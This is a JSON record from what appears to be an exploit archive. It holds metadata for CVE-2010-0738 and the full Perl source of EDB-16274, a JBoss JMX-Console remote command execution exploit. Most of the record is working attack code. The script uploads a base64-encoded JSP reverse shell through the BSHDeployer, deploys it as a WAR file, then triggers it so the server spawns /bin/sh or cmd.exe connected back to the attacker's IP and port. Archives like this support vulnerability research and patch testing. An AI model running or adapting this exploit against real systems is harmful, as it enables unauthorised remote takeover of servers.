{"exploit":{"id":"EDB-16274","name":"JBoss Application Server 4.2 < 4.2.0.CP09 / 4.3 < 4.3.0.CP08 - Remote Command Execution","description":"JBoss Application Server 4.2 < 4.2.0.CP09 / 4.3 < 4.3.0.CP08 - Remote Command Execution","cves":["CVE-2010-0738"],"author":"kingcope","published":"2011-03-04","platform":"jsp","type":"webapps","language":"Perl","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/16274","path":"exploits/jsp/webapps/16274.pl","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-16274.pl","vulnerabilities":[{"id":"CVE-2010-0738","state":"PUBLISHED","title":null,"titleSource":null,"description":"The JMX-Console web application in JBossAs in Red Hat JBoss Enterprise Application Platform (aka JBoss EAP or JBEAP) 4.2 before 4.2.0.CP09 and 4.3 before 4.3.0.CP08 performs access control only for the GET and POST methods, which allows remote attackers to send requests to this application's GET handler by using a different method.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2010-0738","cvss":{"version":"3.1","baseScore":3.7,"severity":"low","vectorString":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N","source":"CISA-ADP","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2010-0738"},"updatedAt":"2026-10-01T19:23:44.440Z","retrievedAt":"2026-11-27T14:10:22.261Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-16274.png?v=2","url":"https://exploitbin.com/exploits/EDB-16274","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-16274/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-16274/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"#JBoss AS Remote Exploit\n#by Kingcope\n#####\n\nuse IO::Socket;\nuse LWP::UserAgent;\nuse URI::Escape;\nuse MIME::Base64;\n\nsub usage {\n\tprint \"JBoss AS Remote Exploit\\nby Kingcope\\n\\nusage: perl jboss.pl <target> <targetport> <yourip> <yourport> <win/lnx>\\n\";\n\tprint \"example: perl daytona.pl 192.168.2.10 8080 192.168.2.2 443 lnx\\n\";\n\texit;\n}\n\nif ($#ARGV != 4) { usage; }\n\n$host = $ARGV[0];\n$port = $ARGV[1];\n$myip = $ARGV[2];\n$myport = $ARGV[3];\n$com = $ARGV[4];\n\nif ($com eq \"lnx\") {\n\t$comspec = \"/bin/sh\";\n}\n\nif ($com eq \"win\") {\n\t$comspec = \"cmd.exe\";\n}\n\n$|=1;\n\n$jsp=\"\n<%@\npage import=\\\"java.lang.*, java.util.*, java.io.*, java.net.*\\\"\n%>\n\t\t\t<%!\n\t\t\t\tstatic class StreamConnector extends Thread\n\t\t\t\t{\n\t\t\t\t\tInputStream is;\n\t\t\t\t\tOutputStream os;\n\n\t\t\t\t\tStreamConnector( InputStream is, OutputStream os )\n\t\t\t\t\t{\n\t\t\t\t\t\tthis.is = is;\n\t\t\t\t\t\tthis.os = os;\n\t\t\t\t\t}\n\n\t\t\t\t\tpublic void run()\n\t\t\t\t\t{\n\t\t\t\t\t\tBufferedReader in  = null;\n\t\t\t\t\t\tBufferedWriter out = null;\n\t\t\t\t\t\ttry\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tin  = new BufferedReader( new InputStreamReader( this.is ) );\n\t\t\t\t\t\t\tout = new BufferedWriter( new OutputStreamWriter( this.os ) );\n\t\t\t\t\t\t\tchar buffer[] = new char[8192];\n\t\t\t\t\t\t\tint length;\n\t\t\t\t\t\t\twhile( ( length = in.read( buffer, 0, buffer.length ) ) > 0 )\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tout.write( buffer, 0, length );\n\t\t\t\t\t\t\t\tout.flush();\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t} catch( Exception e ){}\n\t\t\t\t\t\ttry\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tif( in != null )\n\t\t\t\t\t\t\t\tin.close();\n\t\t\t\t\t\t\tif( out != null )\n\t\t\t\t\t\t\t\tout.close();\n\t\t\t\t\t\t} catch( Exception e ){}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t%>\n\t\t\t<%\n\t\t\t\ttry\n\t\t\t\t{\n\t\t\t\t\tSocket socket = new Socket( \\\"$myip\\\", $myport );\n\t\t\t\t\tProcess process = Runtime.getRuntime().exec( \\\"$comspec\\\" );\n\t\t\t\t\t( new StreamConnector( process.getInputStream(), socket.getOutputStream() ) ).start();\n\t\t\t\t\t( new StreamConnector( socket.getInputStream(), process.getOutputStream() ) ).start();\n\t\t\t\t} catch( Exception e ) {}\n\t\t\t%>\";\n\n#print $jsp;exit;\n\nsrand(time());\n\nsub randstr\n{\n\tmy $length_of_randomstring=shift;# the length of\n\t\t\t # the random string to generate\n\n\tmy @chars=('a'..'z','A'..'Z','0'..'9','_');\n\tmy $random_string;\n\tforeach (1..$length_of_randomstring)\n\t{\n\t\t# rand @chars will generate a random\n\t\t# number between 0 and scalar @chars\n\t\t$random_string.=$chars[rand @chars];\n\t}\n\treturn $random_string;\n}\n\n$appbase = randstr(8);\n$jspname = randstr(8);\n\nprint \"APPBASE=$appbase\\nJSPNAME=$jspname\\n\";\n\n$bsh_script =\nqq{import java.io.FileOutputStream;\nimport sun.misc.BASE64Decoder;\n\nString val = \"} . encode_base64($jsp, \"\") .  qq{\";\n\nBASE64Decoder decoder = new BASE64Decoder();\nString jboss_home = System.getProperty(\"jboss.server.home.dir\");\nnew File(jboss_home + \"/deploy/} . $appbase . \".war\" . qq{\").mkdir();\nbyte[] byteval = decoder.decodeBuffer(val);\nString jsp_file = jboss_home + \"/deploy/} . $appbase . \".war/\" . $jspname . \".jsp\" . qq{\";\nFileOutputStream fstream = new FileOutputStream(jsp_file);\nfstream.write(byteval);\nfstream.close(); };\n\n#\n# UPLOAD\n#\n\n$params = 'action=invokeOpByName&name=jboss.deployer:service=BSHDeployer&methodName=createScriptDeployment&argType=java.lang.String&arg0=' . uri_escape($bsh_script)\n.\n'&argType=java.lang.String&arg1=' . randstr(8) . '.bsh';\n\nmy $ua = LWP::UserAgent->new;\n$ua->agent(\"Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13\");\n\nmy $req = HTTP::Request->new(POST => \"http://$host:$port/jmx-console/HtmlAdaptor\");\n  $req->content_type('application/x-www-form-urlencoded');\n  $req->content($params);\n\n  print \"UPLOAD... \";\n  my $res = $ua->request($req);\n\n  if ($res->is_success) {\n      print \"SUCCESS\\n\";\n      print \"EXECUTE\";\n      sleep(5);\n      $uri = '/' . $appbase . '/' . $jspname . '.jsp';\n\n      for ($k=0;$k<10;$k++) {\n      my $ua = LWP::UserAgent->new;\n\t  $ua->agent(\"Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13\");\n\t  my $req = HTTP::Request->new(GET => \"http://$host:$port$uri\");\n\t  my $res = $ua->request($req);\n\n  \t\tif ($res->is_success) {\n\t  \t\tprint \"\\nSUCCESS\\n\";\n\t  \t\texit;\n  \t\t} else {\n\t  \t\tprint \".\";\n#\t\t        print $res->status_line.\"\\n\";\n\n\t  \t\tsleep(5);\n  \t\t}\n\t  }\n      print \"UNSUCCESSFUL\\n\";\n  }\n  else {\n\t  print \"UNSUCCESSFUL\\n\";\n      print $res->status_line, \"\\n\";\n      exit;\n  }","sha256":"ef61f98995653d292a5754729e5d861861a3eaf29067a2ca253ebfb9657ecb35","bytes":4265,"fetchedAt":"2026-11-27T14:10:22.152Z","encoding":"utf-8 (display only; download retains original bytes)"}